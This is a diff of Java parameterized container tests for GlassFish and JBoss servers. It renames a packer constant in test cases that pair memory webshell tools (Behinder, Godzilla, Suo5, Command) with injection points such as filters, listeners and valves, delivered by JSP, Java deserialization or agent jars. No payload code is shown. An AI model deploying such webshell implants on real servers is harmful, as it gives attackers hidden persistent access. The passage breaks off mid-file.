||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class GlassFish501ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -43,37 +43,37 @@ public class GlassFish510ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -44,29 +44,29 @@ public class GlassFish6ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jboss423ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
|
|||||||
+9
-9
@@ -46,27 +46,27 @@ public class Jboss510ContainerTest {
|
|||||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||||
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
|
||||||
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Jboss610ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
